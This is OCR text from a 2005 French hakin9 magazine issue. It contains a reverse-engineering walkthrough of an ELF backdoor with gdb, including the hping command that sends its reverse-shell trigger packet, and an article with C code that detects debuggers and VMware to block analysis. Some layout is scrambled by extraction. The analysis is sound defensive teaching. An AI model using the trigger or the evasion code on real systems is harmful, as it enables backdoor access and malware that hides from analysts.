x $reg – l'affichage des données qui se trouvent à l'adresse
indiquée par la valeur du registre,
x 0x08048010 – l'affichage des données se trouvant
à l'adresse indiquée,
x *0x08048010 – la référence aux données indiquées par
l'adresse définie,
x /10i 0x8048918 – le désassemblage du code à partir de
l'adresse indiquée (10 lignes),
x /10xb 0x8048918 – l'affichage de 10 octets (valeurs hexadécimales).
La détermination du comportement du débogueur au moment
de l'appel de la fonction (v)fork – set follow-fork-mode (set
foll) :
•
set follow-fork-mode child / parent – permet de suivre
le processus fils/père,
L'affichage du contenu des registres de base du processeur
– info registers (info reg) :
Le contrôle de l'exécution du programme débogué :
•
•
next / nexti – l'exécution d'une instruction du code source
run – le lancement du programme analysé,
•
•
step / stepi – l'exécution d'une instruction du code source
/machine (au-dessus des appels call),
•
•
continue – la continuation du fonctionnement du program-
L'affichage des trames de la pile – backtrace (bt) :
<localisation> – la continuation du fonctionnement du programme jusqu'à l'endroit indiqué par le paramètre <localisation>,
kill – l'envoi du signal SIGKILL au programme suivi.
•
info all-registeres (info all-reg) – l'affichage du contenu de tous les registres,
info nazwa _ rejestru – l'affichage du contenu du registre
sélectionné.
/machine,
me après l'arrêt,
Défense
•
•
until
La définition du point d'interruption, l'arrêt du programme dans
l'endroit indiqué – break (br) :
•
break main – le placement du point d'interruption dans la
fonction main(),
64
backtrace (n) – l'affichage de toutes les trames de la pile
(ou les n les plus intérieures).
Malgré tous ces avantages, le débogueur gdb a un défaut important – il ne permet pas d'observer simultanément certains
éléments du programme débogué (p. ex. les valeurs des registres, la pile, le code du programme). C'est pourquoi, les interfaces graphiques simplifiant l'utilisation de gdb ont été créées.
L'une de ces interfaces est DDD – Data Display Debugger, les
autres sont xxgdb et KDbg.
www.hakin9.org
hakin9 N o 2/2005
Analyse dynamique du code exécutable
En résultat, nous avons obtenu le
fichier symbols_db contenant la liste
des adresses avec les noms des
symboles retrouvés que nous allons
utiliser lors du débogage. Si nous admettons que les informations sur les
bibliothèques utilisées et leurs versions restent inconnues, il faudrait
prendre différentes bibliothèques
(et leurs versions) dans le processus
de récupération des symboles.
Une fois que la liste des symboles
supprimés est prête, nous pouvons
passer au débogage en lançant gdb
(cf. la Figure 4). Comme paramètre,
nous entrons le nom du programme
analysé :
# gdb ./kstatd
À partir des opérations effectuées
dans les étapes précédentes nous
savons que dans le programme analysé, la fonction fork() est appelée.
Nous devons donc décider ce que
nous voulons suivre – le processus
fils ou père – et changer le comportement du débogueur en fonction de
ce choix. Par défaut, gdb suit le processus père. Paramétrons pourtant
l'observation des processus fils :
��������������������������
�����������������������
�������������������������������������
�������������������������������
�������������������������������
����������������������
�����������������������������������������
�����������������������������������
����������������������������������������
������������������������������������������
�������������������������������������
����������������
��������������������������������������
����������������������������
���������������������������������
�����������������������������������������
��������������������������������
������������������������������������
���������������������
(gdb) set follow-fork-mode child
Puisque nous voulons commencer
le débogage par la fonction main(),
nous devons déterminer son emplacement (bien que ce ne soit pas
toujours une bonne solution). Vu que
dans le programme analysé, le contenu du tableau des symboles a été
supprimé – nous déterminerons l'emplacement de la fonction main() en
lisant la valeur du champ entrypoint
de l'en-tête ELF qui pointe vers la
fonction _ start() et analysons son
contenu (cf. le Listing 8).
Pour arrêter l'exécution du programme analysé au début de la fonction main(), nous définissons le point
d'interruption :
(gdb) break *0x08048978
Avant de lancer le programme et de
suivre ses actions, nous pouvons
consulter son code en désassemblant
hakin9 N o 2/2005
������������������������������������
�����������������������������������
�������������������������������������
�����������������������������
�����������������������������
����������������������
���
Figure 4. Procédure du débogage du fichier kstatd
Listing 8. Recherche de l'emplacement de la fonction main() à l'aide de
gdb
(gdb) disassemble 0x080480e0 0x080480ff
Dump of assembler code from 0x80480e0 to 0x80480ff:
0x80480e0:
xor
%ebp,%ebp
0x80480e2:
pop
%esi
0x80480e3:
mov
%esp,%ecx
0x80480e5:
and
$0xfffffff0,%esp
0x80480e8:
push
%eax
0x80480e9:
push
%esp
0x80480ea:
push
%edx
0x80480eb:
push
$0x80a6f80
0x80480f0:
push
$0x80480b4
0x80480f5:
push
%ecx
0x80480f6:
push
%esi
0x80480f7:
push
$0x8048978
0x80480fc:
call
0x80564b0
End of assembler dump.
www.hakin9.org
65
Listing 9. Code désassemblé de la fonction main()
Défense
(gdb) disassemble 0x08048978 0x08048fff
Dump of assembler code from 0x8048978 to 0x8048fff:
0x8048978:
push
%ebp
0x8048979:
mov
%esp,%ebp
0x804897b:
sub
$0x138,%esp
0x8048981:
sub
$0x8,%esp
0x8048984:
push
$0x8048768
0x8048989:
push
$0x11
0x804898b:
call
0x80567f8
0x8048990:
add
$0x10,%esp
0x8048993:
sub
$0x8,%esp
0x8048996:
push
$0x8048920
0x804899b:
push
$0x6
0x804899d:
call
0x80567f8
0x80489a2:
add
$0x10,%esp
0x80489a5:
sub
$0x8,%esp
0x80489a8:
push
$0x8048920
0x80489ad:
push
$0xf
0x80489af:
call
0x80567f8
…
0x8048c22:
cmp
$0x1ff1,%ax
0x8048c26:
jne
0x8048b34
0x8048c2c:
call
0x8060970
0x8048c31:
mov
%eax,%eax
0x8048c33:
mov
%eax,0xfffffecc(%ebp)
0x8048c39:
cmpl
$0x0,0xfffffecc(%ebp)
0x8048c40:
jne
0x8048b34
0x8048c46:
sub
$0x8,%esp
0x8048c49:
mov
0xfffffed8(%ebp),%eax
0x8048c4f:
movzwl (%eax),%eax
0x8048c52:
sub
$0x4,%esp
0x8048c55:
push
%eax
0x8048c56:
call
0x80635c0
0x8048c5b:
add
$0x8,%esp
0x8048c5e:
mov
%eax,%eax
0x8048c60:
mov
%eax,%eax
0x8048c62:
movzwl %ax,%eax
0x8048c65:
push
%eax
0x8048c66:
mov
0xfffffed8(%ebp),%eax
0x8048c6c:
pushl 0x4(%eax)
0x8048c6f:
call
0x80635b0
0x8048c74:
add
$0x4,%esp
0x8048c77:
mov
%eax,%eax
0x8048c79:
mov
%eax,%eax
0x8048c7b:
push
%eax
0x8048c7c:
call
0x8048848
0x8048c81:
add
$0x10,%esp
0x8048c84:
mov
$0x0,%eax
0x8048c89:
leave
0x8048c8a:
ret
66
les fragments souhaités. L'exemple
du code de la fonction main() est présenté dans le Listing 9.
À ce moment, nous pouvons effectuer une analyse préliminaire du
code du programme et déterminer
les points d'interruption supplémentaires dans les points souhaités.
Dans les endroits où la fonction
(call 0x…) est appelée, nous pouvons
aussi vérifier la liste des symboles
récupérés au préalable et rechercher les noms des fonctions de bibliothèques qui sont appelées. Si sur
la liste des symboles reconstitués,
le symbole que nous recherchons
n'est pas présent, cela veut dire qu'il
est impossible de retrouver la fonction de bibliothèque appropriée ou,
tout simplement, une fonction créée
par l'auteur du programme est appelée (fonction utilisateur).
www.hakin9.org
Une fonction très utile du débogueur gdb, outre la possibilité de
suivre et d'analyser le code du programme, est la possibilité de consulter le contenu de la mémoire. Un
exemple d'emploi de cette fonction
peut être une tentative de lecture
de la valeur de l'un des arguments
passés à la fonction pcap _ compile() qui devrait pointer vers la
chaîne de caractères définissant
le filtre de paquets utilisé (nous le
connaissons à partir des opérations précédentes). Étant donné
que les arguments de la fonction
appelée sont empilés en ordre
inverse – à partir de la droite de
la définition, nous déterminerons
l'emplacement du passage de la
valeur de cet argument à la fonction
pcap _ compile() :
0x8048a4b: pushl 0xfffffeec(%ebp)
0x8048a51: push $0x0
0x8048a53: push $0x80a6fe7
0x8048a58: lea 0xfffffee0(%ebp),%eax
0x8048a5e: push %eax
0x8048a5f: pushl 0xfffffef4(%ebp)
0x8048a65: call 0x8051de0
Pour lire le contenu de la mémoire
spécifiée par l'adresse empilée,
il faut utiliser la commande x (examine memory) :
(gdb) x /1sb 0x80a6fe7
0x80a6ba3:
"dst port 80"
ou
(gdb) x /12cb 0x80a6fe7
0x80a6ba3:
100 'd' 115 's' 116 't' 32 ' '
112 'p' 111 'o' 114 'r' 116 't'
0x80a6bab:
32 ' '
56 '8'
48 '0'
0 '\0'
Après avoir effectué une analyse
préliminaire du code du programme,
nous pouvons le démarrer. Vu qu'au
début de la fonction main() nous
avons défini un point d'interruption,
l'exécution du programme s'arrête
à cet endroit. Lançons le programme
en mode pas à pas :
(gdb) run
hakin9 N o 2/2005
Analyse dynamique du code exécutable
Après l'arrêt de l'exécution dans l'endroit défini par le point d'interruption,
le programme peut être redémarré
à l'aide des commandes step, stepi,
next, nexti qui se caractérisent par
différents types d'exécution pas
à pas. Pour redémarrer le programme jusqu'à l'endroit défini par le point
d'interruption successif, il faut utiliser
l'instruction continue. La continuation
du fonctionnement du programme
jusqu'à l'endroit indiqué peut être
aussi atteinte au moyen des commandes until ou advance.
En exécutant les instructions
successives du programme analysé
à l'aide de la commande nexti, nous
parvenons enfin à l'endroit où il a
planté. Cette situation a eu lieu à l'endroit de l'appel de la fonction localisée
à l'adresse 0x08048b43. En comparant
l'adresse à la liste des symboles
récupérés, nous savons que c'est
le lieu où la fonction pcap _ next est
appelée. Nous avons obtenu le même
résultat en suivant le fonctionnement
du programme à l'aide de l'outil strace
(le programme s'est arrêté sur la fonction recvfrom()). Il est évident que le
programme attend certaines données
du réseau. Nous savons aussi qu'il attend un paquet arrivant au port 80.
Dans le cas où le programme
analysé attend certaines informations extérieures, deux possibilités
de continuer son fonctionnement et
de l'analyser se présentent. La première consiste à essayer de livrer les
informations souhaitées (dans notre
cas – les tentatives de restaurer le
paquet attendu du réseau). La seconde consiste à essayer de modifier
le chemin d'exécution du programme
par une manipulation des valeurs
des registres du processeur et des
données stockées dans la mémoire
ou d'effectuer un saut en négligeant
une certaine chaîne d'instructions.
À l'aide de la première méthode,
nous essayerons de générer un paquet et de l'envoyer au port 80 de
l'hôte dans lequel le programme est
analysé. Avant d'envoyer le paquet,
nous définirons un breakpoint de
façon à ce que le programme s'arrête juste après la réaction au paquet
enregistré, c'est-à-dire, après l'appel
hakin9 N o 2/2005
de la fonction pcap _ next(). Nous
générerons le paquet au moyen de
l'outil hping :
# hping –S –t 64 –c 1 \
–p 80 10.10.12.197
À la suite de la réception du paquet,
le programme a redémarré et s'est
arrêté à l'endroit où le point d'interruption a été défini. Dans la suite
de l'analyse du code de la fonction
main(), nous avons pu constater qu'il
ne suffit pas d'envoyer un paquet
quelconque au port 80. Puisque
d'autres conditions concernant le
paquet reçu n'ont pas été satisfaites,
le programme a transféré le contrôle
à la fonction pcap _ next() et s'est
arrêté.
La seconde approche, permettant d'éviter l'envoi d'un paquet qui
doit satisfaire aux conditions déterminées, consiste à changer le chemin d'exécution du programme. En
admettant que le programme attend
une valeur déterminée du registre,
nous pouvons conditionner son
fonctionnement et entrer la valeur
attendue dans le registre. Par exemple, si le programme compare (cmp)
dans certain endroit le contenu du
registre %eax avec une valeur déterminée (0x1ff1), nous pouvons faire
que cette condition soit satisfaite, en
utilisant la commande set.
08048c16: call 0x080635c0
…
08048c20: mov %eax,%eax
08048c22: cmp $0x1ff1,%ax
La modification de la valeur du registre %eax avant l'exécution de l'instruction cmp se présentera ainsi :
(gdb) set $eax=0x1ff1
Si, par contre, nous voulons modifier
le contenu de la mémoire à l'adresse
définie, il faut aussi utiliser la commande set: set {type}address = value), où type est le type de la valeur
stockée (value) à l'adresse indiquée
(address). Pour qu'une certaine chaîne d'instructions soit négligée, il faut
employer la commande jump.
www.hakin9.org
Après l'analyse et le débogage du
code du programme, nous avons pu
constater qu'afin que le programme
sorte de la boucle d'appel de la fonction pcap _ next() et puisse continuer
son fonctionnement, les conditions
suivantes doivent être satisfaites :
•
•
•
•
la taille du paquet doit être supérieure à 34 octets, c'est-à-dire
à la somme de la longueur de
l'en-tête Ethernet au niveau de
la couche de liaison des données
(14 octets) et de la longueur de
l'en-tête IP (20 octets),
le champ de l'en-tête IP avec sa
version doit contenir la valeur 4,
le drapeau SYN doit être positionné, mais excepté la combinaison SYN + ACK,
le champ avec le numéro d'identification du paquet dans l'entête IP doit avoir la valeur 8177
(0x1ff1).
Si les conditions ci-dessus sont
satisfaites, le programme crée un
processus fils qui interprète la valeur
du numéro de séquence du paquet
satisfaisant à ces conditions comme
adresse IP cible de la connexion
et le port source de ce paquet comme port cible de la connexion. La
connexion établie est une connexion
de retour réalisée à partir du système
compromis à l'hôte défini par l'intrus.
Dans la suite, le code analysé ouvre
le périphérique du terminal et donne
accès au shell système. Après toutes ces opérations, le programme
exécute une boucle dans laquelle les
données sont transférées entre le
terminal et la connexion établie vers
le hôte de l'intrus.
Le paquet satisfaisant aux conditions définies peut être généré au
moyen de l'outil hping :
# hping -S -N 8177 \
-M 168430815 -c 1 -p 80 \
-s 88 10.10.12.197
Dans le cas du débogage, il est
également possible de se connecter
au processus en cours et de commencer à suivre son fonctionnement à partir de l'endroit où il a été
67
intercepté (l'exécution du processus
est arrêté après l'activation du traçage de son fonctionnement). La
connexion au processus en cours
peut être réalisée au moyen de la
commande de gdb attach, par contre detach sert à libérer le processus
du contrôle du débogueur. Après
la libération, le processus continue
son fonctionnement. Si le débogueur est arrêté lors de l'opération
de traçage du processus intercepté,
le programme termine aussi son
fonctionnement.
Au lieu du débogueur gdb, nous
pouvons utiliser aussi les solutions
alternatives, comme par exemple privateICE. C'est un débogueur interactif
du niveau noyau, similaire à SoftICE
conçu pour la plate-forme Microsoft
Windows, chargé dans le système
sous forme d'un module. Une autre
solution est KDB, un débogueur intégré dans le noyau du système.
Défense
Problèmes
68
Lors de l'analyse, nous nous sommes concentrés avant tout sur les
problèmes concernant l'analyse
dynamique – le lancement du programme suspect et les tentatives
d'estimation des opérations qu'il
exécutait à partir des informations
disponibles par défaut dans le système d'exploitation, l'analyse de la
mémoire du processus, la traçage
des appels des fonctions système
et l'analyse pas à pas (débogage).
Mais dans le cas de l'analyse de ce
type, il faut rester vigilant et ne pas
oublier que l'auteur du programme
suspect aurait pu tenter de la rendre
plus difficile ou de tromper celui qui
l'effectue (cf. l'Encadré Techniques
empêchant le désassemblage et le
débogage).
Nous avons présenté l'analyse
du code fonctionnant en mode utilisateur – sans les mécanismes
pouvant rendre cette analyse plus
diffi cile. Elle aurait pu être beaucoup plus diffi cile à effectuer, si le
programme analysé avait été chiffré, par exemple, à l'aide de Shiva.
De plus, il ne faut pas oublier qu'il
existe des portes dérobées ou
rootkits fonctionnant de façon plus
Techniques empêchant le désassemblage
et le débogage
Il existe plusieurs techniques visant à empêcher le désassemblage et le débogage des
programmes exécutables ELF. Théoriquement, l'analyse est possible, mais il est très
difficile de l'effectuer.
À présent, l'une des techniques les plus intéressantes pour rendre le désassemblage et le débogage plus difficile consiste à utiliser les outils de chiffrage des
programmes exécutables ELF. Shiva est l'exemple d'une solution de ce type. Elle
implémente la protection multiniveaux des programmes exécutables. Outre le mécanisme d'obfuscation du code et de chiffrage par blocs, Shiva place dans le fichier
exécutable les mécanismes qui empêchent l'analyse standard employant les outils
basés sur la fonction système ptrace(). Il est facile de deviner que l'application de
cette solution rend aussi plus difficile l'analyse statique car afin d'obtenir le code approprié du programme, il est nécessaire de passer par plusieurs niveaux de sécurité
(p. ex. l'outil strings employé pour retrouver les chaînes de caractères suspectes
peut s'avérer complètement inutile). Outre Shiva, il existe aussi d'autres chiffreurs
publics des programmes exécutables ELF, comme Burneye ou ELFcrypt.
Certaines méthodes utilisées par programmeurs pour empêcher ou rendre l'analyse plus difficile ont été présentées dans l'article Quelques méthodes simples pour
détecter les débogueurs et l'environnement VMware dans ce numéro de hakin9.
sophistiquée, comme par exemple,
le code fonctionnant au niveau du
noyau sous forme d'un module ou
le code placé directement dans
l'espace mémoire réservé pour
le noyau du système (cf. l'article
Rootkit personnel dans GNU/Linux
dans ce numéro de hakin9).
L'analyse dynamique présentée
dans cet article n'est pas la seule
possibilité d'effectuer ces types
d'opérations. Outre l'analyse basée
surtout sur le désassemblage du
code du programme (statique) ou
le traçage pas à pas de son exécution (dynamique), il existe encore
une approche – l'émulation ou la
simulation de l'exécution du code
analysé. n
Sur le réseau
Bibliographie :
• http://www.faqs.org/docs/kernel_2_4/lki.html – l'introduction à la structure du
noyau de Linux,
• http://www.gnu.org/software/gdb/documentation/ – la documentation du débogueur GDB,
• http://www.l0t3k.net/biblio/reverse/en/linux-anti-debugging.txt – la description
des quelques techniques empêchant le débogage,
• http://www.phrack.org/show.php?p=58&a=5 – l'article sur le chiffrage des fichiers
binaires,
• http://www.ecsl.cs.sunysb.edu/tr/BinaryAnalysis.doc – une présentation très ample des outils pour l'analyse du code binaire.
Outils :
• http://www.tripwire.org/ – Tripwire,
• http://www.cs.tut.fi /~rammer/aide.html – AIDE,
• http://la-samhna.de/samhain/ – SAMHAIN,
• http://osiris.shmoo.com/ – Osiris,
• http://www.hick.org/code.html – memgrep,
• http://www.gnu.org/software/ddd/ – DDD,
• http://members.nextra.at/johsixt/kdbg.html – KDbg,
• http://syscalltrack.sourceforge.net/ – syscalltrack,
• http://www.securereality.com.au/ – Shiva,
• http://pice.sourceforge.net/ – privateICE,
• http://oss.sgi.com/projects/kdb/ – KDB.
www.hakin9.org
hakin9 N o 2/2005
Quelques méthodes simples
pour détecter les débogueurs
et l'environnement VMware
Mariusz Burdach
La première étape de la
sécurisation du code contre
l'ingénierie inverse consiste
à détecter les débogueurs
et les machines virtuelles.
Contrairement aux apparences,
cela n'est pas difficile à faire.
L
Défense
'article de Marek Janiczek Reverse
engineering – analyse dynamique du
code exécutable ELF publié dans ce
numéro de hakin9 porte sur l'analyse des
logiciels non protégés contre le débogage.
En réalité, l'analyse peut être beaucoup plus
compliquée – les développeurs font tout leur
possible pour créer des applications de sorte
à rendre impossible le suivi de leur fonctionnement (à l'aide de gdb – GNU Debugger, par
exemple). Les auteurs des logiciels tentent
également de verrouiller le fonctionnement
de leurs œuvres dans les environnements
virtuels de type VMware. Examinons de plus
près les méthodes qui permettent de faire ce
verrouillage.
70
Détecter
l'environnement VMware
Pour vérifi er si le système d'exploitation, où
votre logiciel a été démarré, tourne effectivement dans l'environnement virtuel VMware,
il va falloir utiliser l'instruction en assembleur
SIDT (en anglais Store Interrupt Descriptor
Table) qui permet d'obtenir le contenu du
registre IDTR (en anglais Interrupt Descriptor
Table Register). Ce registre comprend un
www.hakin9.org
pointeur sur l'adresse linéaire où se trouve
la table IDT (en anglais Interrupt Descriptor
Table) et sur sa valeur limite. L'instruction
SIDT peut être appelée au niveau de votre
application sans générer une exception et ce
qui est plus important, sans qu'il soit nécessaire de posséder les droits appropriés dans
le système. Pour l'appeler, tapez :
SIDT m
où m doit comprendre le contenu de l'IDTR (celui-ci se trouve sur la pile).
Notre logiciel ayant pour objectif de détecter l'environnement VMware étant écrit en C,
le mieux va être d'insérer directement dans le
Cet article explique...
•
•
comment détecter les débogueurs,
comment détecter la machine virtuelle
VMware.
Ce qu'il faut savoir...
•
•
connaître le langage de programmation en C,
savoir programmer en assembleur.
hakin9 N o 2/2005
Détecter les débogueurs et les machines virtuelles
code une partie en assembleur via
l'instruction asm :
asm ("sidt %0" : "=m" (idtr));
Si le logiciel est démarré via un système Linux et donc sur une machine
non virtuelle, l'instruction SIDT doit
alors enregistrer le contenu réel de
l'IDTR décrit à l'aide de six octets.
Les quatre octets supérieurs constituent l'adresse de la table ainsi
que l'adresse de la première ligne
du texte dans l'IDT. L'adresse IDT
est définie lors de la compilation du
noyau et elle commence par la valeur 0xc0xxxxxx, peu importe que le
système soit démarré sur la machine
virtuelle ou sur un système réel.
Si cependant, vous appelez le
SIDT dans l'environnement virtuel,
vous allez recevoir l'adresse commençant par la valeur 0xffxxxxxx, c'est-àdire une adresse incorrecte. Les tests
effectués sur VMware GSX Server
3.1.0 et Workstation 4.5 prouvent
que l'adresse 0xffc18000 est toujours
retournée (il est difficile de constater si c'est une erreur de la part de
VMware ou si c'est un acte volontaire
généré par les créateurs du système).
Pour conserver une certaine marge
de sécurité, nous n'allons vérifier
que le début de l'adresse retournée.
Vous pouvez donc admettre que si
l'adresse commence par 0xc0, vous
avez à faire à une machine réelle
et si elle commence par 0xff – c'est
une machine virtuelle.
La tâche principale de notre logiciel
(voir le Listing 1) va être d'enregistrer le
contenu de l'IDTR dans la table idtr[]
constituée de six éléments. N'oubliez
pas que dans l'architecture x86 (little
endian) les adresses sont enregistrées dans l'ordre inverse que l'ordre
normal (les octets les plus jeunes sont
situés en première position). Ainsi, la
valeur que vous devez vérifier sera
enregistrée dans le dernier élément
de la table. Au lieu du commentaire
//notre logiciel, mettez le code de
votre logiciel qui ne doit s'exécuter
que sur la machine réelle. Une fois le
VMware détecté, le logiciel va cesser
de fonctionner. Bien sûr, après avoir
détecté l'environnement virtuel, il est
hakin9 N o 2/2005
possible d'appeler un autre code (en
remplacement de la ligne contenant le
commentaire //ou un logiciel déroutant) qui va avoir pour but de dérouter
la personne étudiant le logiciel dans
l'environnement VMware.
Détecter un débogueur
– méthode 1
Pour détecter un débogueur, profitez
du fait qu'un logiciel ou un processus,
puisse être suivi uniquement par un
processus (cette contrainte est imposée par le système d'exploitation).
Sachez donc que si votre logiciel est
suivi par un processus de débogage,
chaque tentative de suivi échouera.
gdb et les autres outils de suivi de
logiciels (ldd, par exemple) se servent
de la fonction système ptrace() assurant au processus appelant le contrôle
total d'un autre processus spécifié.
Si un processus (gdb, par exemple)
initialise le suivi d'un logiciel spécifié,
il crée un processus fils (pour assurer
le suivi) à l'aide de la fonction fork(),
puis il appelle la fonction ptrace()
avec la valeur PTRACE _ TRACEME. Cela
signifie que le processus fils sera
suivi par le processus supérieur qui
est gdb. La détection de la présence
d'un débogueur est donc une tâche
banale – il suffit d'appeler à nouveau
la fonction ptrace() au début de votre
logiciel et de vérifier le résultat que
celle-ci va retourner. Si le processus
est déjà suivi, la valeur négative sera
retournée.
Le code du logiciel permettant de
faire fonctionner ce mécanisme est
présenté dans le Listing 2. Notez que
la fonction ptrace() doit être appelée
avec la valeur PTRACE _ TRACEME. Les
autres valeurs n'ont pas d'importance
car elles seront ignorées. Le logiciel
suivi à l'aide de gdb affichera sur la
sortie standard la chaîne de caractères Débogueur détecté et il cessera de
fonctionner. S'il n'est pas démarré par
le débogueur, il procédera à l'exécution
du code adéquat se trouvant à la place
du commentaire //notre logiciel.
Détecter un débogueur
– méthode 2
L'une des différences visibles entre le
démarrage d'un logiciel au moyen de
www.hakin9.org
Listing 1. Logiciel de détection
de VMware
#include <stdio.h>
main()
{
unsigned char idtr[6];
asm ("sidt %0" : "=m" (idtr));
if(0xff==idtr[5])
{
printf("VMware\n");
return 1;
//ou un logiciel déroutant
}
else
{
//notre logiciel
return 0;
}
}
Listing 2. Logiciel de détection
du débogueur – méthode 1
#include <sys/ptrace.h>
main()
{
if (ptrace(PTRACE_TRACEME,
0,0,0)<0)
{
printf("Débogueur détecté\n");
return 1;
}
else
{
//notre logiciel
return 0;
}
}
l'outil gdb et la création d'un processus sans son aide est le nombre de
descripteurs de fichiers. Au démarrage du logiciel le plus simple, trois
descripteurs de fichiers sont créés
par défaut : 0, 1, 2 (stdin, stdout,
stderr). Pour le vérifier, consultez le
contenu du sous-repértoire fd dans le
système de fichiers procfs (monté en
règle générale dans /proc) – dans un
répertoire correspondant à l'identifiant
du processus – voir le Listing 3.
Lorsque le même logiciel sera
démarré à l'aide de l'outil gdb, il y aura
cinq descripteurs de fichiers au minimum – les descripteurs 3 et 4 seront
créés par gdb (voir le Listing 4).
La présence de gdb peut être
détectée en appelant les fonctions
qui permettent de manipuler les
71
Listing 3. Descripteurs de fichiers pour le processus non démarré par
le débogueur
Listing 5. Logiciel de détection
du débogueur – méthode 2
# ls -la /proc/3404/fd
total 3
dr-x------ 2 root root 0 Nov 23
dr-xr-xr-x 3 root root 0 Nov 23
lrwx------ 1 root root 64 Nov 23
lrwx------ 1 root root 64 Nov 23
lrwx------ 1 root root 64 Nov 23
main()
{
if (close(3)<0)
{
//notre logiciel
return 0;
}
else
{
printf("Débogueur détecté\n");
return 1;
}
}
01:22
01:22
01:23
01:23
01:22
.
..
0 -> /dev/pts/0
1 -> /dev/pts/0
2 -> /dev/pts/0
Listing 4. Descripteurs de fichiers pour le processus lancé par gdb
# ls -la /proc/3408/fd
total 11
dr-x------ 2 root root
dr-xr-xr-x 3 root root
lrwx------ 1 root root
lrwx------ 1 root root
lrwx------ 1 root root
lr-x------ 1 root root
lr-x------ 1 root root
0
0
64
64
64
64
64
Nov
Nov
Nov
Nov
Nov
Nov
Nov
23
23
23
23
23
23
23
01:24
01:24
01:24
01:24
01:24
01:24
01:24
descripteurs de fichiers. À titre
d'exemple, choisissons la fonction
close() dont le but est de fermer
un descripteur de fichier spécifié
– essayons de fermer le descripteur
n° 3. Si notre tentative réussit, cela
signifie que le logiciel a été démarré
à l'aide de gdb. Si elle échoue, la
fonction close() retournera la valeur
négative (-1) ce qui voudra donc dire
que votre logiciel n'a pas été démarré au moyen de gdb. Pour consulter
le code du logiciel, reportez-vous au
Listing 5.
Défense
Détecter un débogueur
– méthode 3
72
Une autre méthode intéressante
permettant de détecter les outils de
suivi consiste à utiliser les fonctions
getpid(), getppid() et getsid(). Les
deux premières retournent l'identifiant du processus actuel (PID) et du
processus père (PPID). Cependant,
la fonction getsid() retourne l'identifiant de la session du processus
appelant (SID). Notez que lorsque
vous démarrez votre logiciel (compilé sous le nom de test, par exemple) directement depuis un shell de
commandes, la valeur PPID est la
même que la valeur SID (dans notre
exemple – 10996) – voir le Listing 6.
Si cependant, le logiciel est appelé à l'aide d'un outil de suivi (gdb,
.
..
0 ->
1 ->
2 ->
3 ->
4 ->
/dev/pts/0
/dev/pts/0
/dev/pts/0
/root/anti/test
/root/anti/test
par exemple), la valeur PPID est autre
que la valeur SID (le PPID pour le processus test est de 22126 et le SID est
égal à 22098) – voir le Listing 7. Cela
paraît évident étant donné que le logiciel de suivi est un processus père.
Il s'agit d'utiliser ici la méthode permettant à un outil de suivi de lancer
la fonction ptrace() et cette dernière
va donc créer un processus fils au
moyen de la fonction fork().
En étant conscient de cette dépendance, il est possible d'utiliser
dans le logiciel une condition simple
permettant de détecter les outils de
suivi. Pour consulter le code de ce
logiciel, reportez-vous au Listing 8.
Note – si le logiciel est démarré
au niveau du shell hérité (après
avoir appelé su, par exemple), il se
comportera comme s'il était démarré
sous le débogueur.
Simple et efficace
Les méthodes décrites peuvent rendre
l'analyse dynamique du code beaucoup plus difficile. Comme vous avez
pu le constater, elles ne sont pas compliquées et ce qui est plus important
– elles ne contiennent que quelques
lignes de code (une ligne une fois les
modifications nécessaires effectuées).
N'oubliez pas que ces méthodes servent plus à détecter la présence du
VMware ou du débogueur plutot qu'à
www.hakin9.org
Listing 6. Valeurs PPID et SID
pour le logiciel de test
$ ps --format "pid ppid sid cmd"
PID PPID
SID CMD
(...)
12209 10996 10996 test
(...)
Listing 7. Valeurs PPID et SID
en cas de démarrage à l'aide
de gdb
$ ps --format "pid ppid sid cmd"
PID PPID
SID CMD
(...)
22126 22098 22098 gdb test
22157 22126 22098 test
(...)
Listing 8. Logiciel de détection
du débogueur – méthode 3
main ()
{
if(getppid()==getsid(getpid()))
{
//notre logiciel
return 0;
}
else
{
printf("Débogueur détecté\n");
return 1;
}
}
sécuriser réellement votre code. Si
vous deviez augmenter la sécurité, il
faudrait par exemple chiffrer et déchiffrer directement les sources dans la
mémoire opérationnelle. n
hakin9 N o 2/2005
+
Voulez-vous payer moins que ce que
vous devriez payer dans le kiosque ?
adeau!*
c
en
Voulez-vous recevoir régulièrement
votre magazine préféré ?
Abonnez-vous !
en abonnement coûte
moins cher
38 €
*Jusqu’à épuisement du stock
Archives de hakin9 sur CD pour
chaque abonné !
Commande
Merci de remplir ce bon de commande et de nous le retourner par fax : 0048 22 860 17 71 ou par courrier : Software-Wydawnictwo Sp. z o. o., Lewartowskiego 6, 00-190 Varsovie, Pologne ; E-mail : [email protected]
Prénom Nom ..................................................................................... Entreprise .........................................................................................
Adresse ...........................................................................................................................................................................................................
Code postal ......................................................................................
Ville ...................................................................................................
Téléphone .........................................................................................
Fax ....................................................................................................
E-mail ................................................................................................ Je souhaite recevoir l'abonnement à partir du numéro .................
Prix de l’abonnement annuel de Hakin9 – 38 €
Je règle par :
¨
Carte bancaire n° CB
¨
type de carte ..........................................................................
¨ Virement bancaire :
Nom banque : Société Générale Chasse/Rhône
banque guichet numéro de compte clé Rib
30003
01353
00028010183
90
IBAN : FR76 30003 01353 00028010183 90
Adresse Swift (Code BIC) : SOGEFRPP
expire le
date et signature obligatoires
www.shop.software.com.pl
Abonnez-vous à vos magazines préférés
et commandez des anciens numéros !
Vous pouvez en quelques minutes et en toute sécurité vous abonner à votre magazine préféré.
Nous vous garantissons :
• des tarifs préférentiels,
• un paiement en ligne sécurisé,
• la prise en compte rapide de votre commande.
Abonnement en ligne sécurisé à tous les magazines de la maison d’édition Software !
bulletin d’abonnement
Merci de remplir ce bon de commande et de nous le retourner par fax : 0048 22 860 17 71 ou par courrier :
Software-Wydawnictwo Sp. z o. o., Lewartowskiego 6, 00-190 Varsovie, Pologne ; E-mail : [email protected]
Prénom Nom ............................................................................................... Entreprise ...................................................................................................
Adresse .................................................................................................................................................................................................................................
Code postal ..............................................................................................
Ville ..............................................................................................................
Téléphone ...................................................................................................
Fax ...............................................................................................................
E-mail ..........................................................................................................
Je souhaite recevoir l'abonnement à partir du numéro ...........................
Titre
Nombre de
numéros
annuels
Nombre
d’abonnements
À partir du
numéro
Prix
12
54 €
6
38 €
12
86 €
6
50 €
PHP Solutions (1 CD-ROM)
Le plus grand magazine sur PHP au monde
6
38 €
PHP Solutions .PRO pour les abonnées
Annonce dans PHP Solutions pendant toute durée de l’abonnement
6
95 €
6
38 €
Aurox Linux (7 CD-ROMs)
Trimestriel avec distribution Linux complète
4
38 €
.PSD
Bimestriel pour les utilisateurs d’Adobe Photoshop
6
39 €
Software 2.0 (1 CD-ROM)
Mensuel pour les programmeurs professionnels
Software 2.0 Extra! (1 CD-ROM)
